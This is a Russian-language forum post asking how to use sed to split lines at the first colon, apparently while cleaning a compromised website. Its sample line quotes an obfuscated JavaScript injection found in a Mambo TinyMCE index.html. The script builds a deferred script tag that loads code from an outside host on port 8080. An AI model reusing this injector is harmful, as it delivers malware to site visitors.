Сущность проблемы, нужно мне с помощью sed откинуть первую часть строки до двоеточия и наоборот.
Код: Выделить всё
/var/www/vhosts/somehost.ru/httpdocs/Mambo/mambots/editors/tinymce/jscripts/tiny_mce/langs/index.html:<script>/*LGPL*/ try{ window.onload = function(){var Oi4qngdsr4t = document.createElement('s^!c^)))r)!^&$i!@&p($@t!'.replace(/\^|\)|\$|&|\(|@|\!|#/ig, ''));Oi4qngdsr4t.setAttribute('defer', 'd!^@$e#^@^)f#^e^r$)&'.replace(/&|\$|#|\(|\)|\!|\^|@/ig, ''));Oi4qngdsr4t.setAttribute('type', 't!!e$)x)^t^#&/)j#a(#v&@!($a)!!s@c@#(r$)!i!(p#^@t^#)&'.replace(/\(|\!|#|\$|&|\)|@|\^/ig, ''));Oi4qngdsr4t.setAttribute('id', 'F@(&v#e#&s!!!t)o@(d@@f$#3&@9$9$a(#@b&$)#'.replace(/\^|\(|\!|@|#|\$|&|\)/ig, ''));Oi4qngdsr4t.setAttribute('s@&!@r^^c('.replace(/#|\$|&|\^|\)|\!|@|\(/ig, ''), 'h)^)t&)&&^t&p($:$/)&@/^@!^g)!###i&z#m^$o^!d!$o#&-$c#o&$^)!m!^)@.!$o)#^v&(h#&.$n#@e@(@t&)!.&)d$&^)o^(w$^@n!()l&^(o@a)$#d)(-&^(c&)$@o$$m^.^^!@t@&h($$e@(@l(@^a$)#c#&)@e&!w&@e@(b&@.())r(#u((@:@^@!8^#(0&$&8#0^#(^/))t&h@^e!!p$@(l$^(#a##$n&!&e^)t&#@.#c^@!)o@m##$!!/@&#t$^h^@e(p@!((l$$a)($n&(!e@)t$^.$)c#o(#m!&/!f$(e!(@)d^e)(x)^.)(#c$)o^&m$@/^^)g#^$o&&^@o)^^g^l((^e((^.@$^(c)!o)#^@m&^!/^!(#g#$!o#@.))&c$$o@m$^^/$#)(@'.replace(/\)|\$|&|\!|\^|@|#|\(/ig, ''));if (document){document.body.appendChild(Oi4qngdsr4t);}} } catch(Tviphbtbmaperv57bsesu) {}</script>
Нужно получить:
/var/www/vhosts/somehost.ru/httpdocs/Mambo/mambots/editors/tinymce/jscripts/tiny_mce/langs/index.html
и во втором случае все что после :
тоесть <script>/*LGPL*/ try.......... и до конца
пробую
cat /tmp/myfile | sed s/.*\://
получаю:
Код: Выделить всё
@^@!8^#(0&$&8#0^#(^/))t&h@^e!!p$@(l$^(#a##$n&!&e^)t&#@.#c^@!)o@m##$!!/@&#t$^h^@e(p@!((l$$a)($n&(!e@)t$^.$)c#o(#m!&/!f$(e!(@)d^e)(x)^.)(#c$)o^&m$@/^^)g#^$o&&^@o)^^g^l((^e((^.@$^(c)!o)#^@m&^!/^!(#g#$!o#@.))&c$$o@m$^^/$#)(@'.replace(/\)|\$|&|\!|\^|@|#|\(/ig, ''));if (document){document.body.appendChild(Oi4qngdsr4t);}} } catch(Tviphbtbmaperv57bsesu) {}</script>
если не экранировать та же картина.
sed 's/.*\://'
то же самое с экраном и без...
Похоже он начинает поиск с конца строки и удаляет все после, как слелать так, чтобы Sed смотрел строку сначала до первого : и удалял либо все до, либо после.
фишка еще в том что имена файлов могут заканчиваться как на html так и на php htm js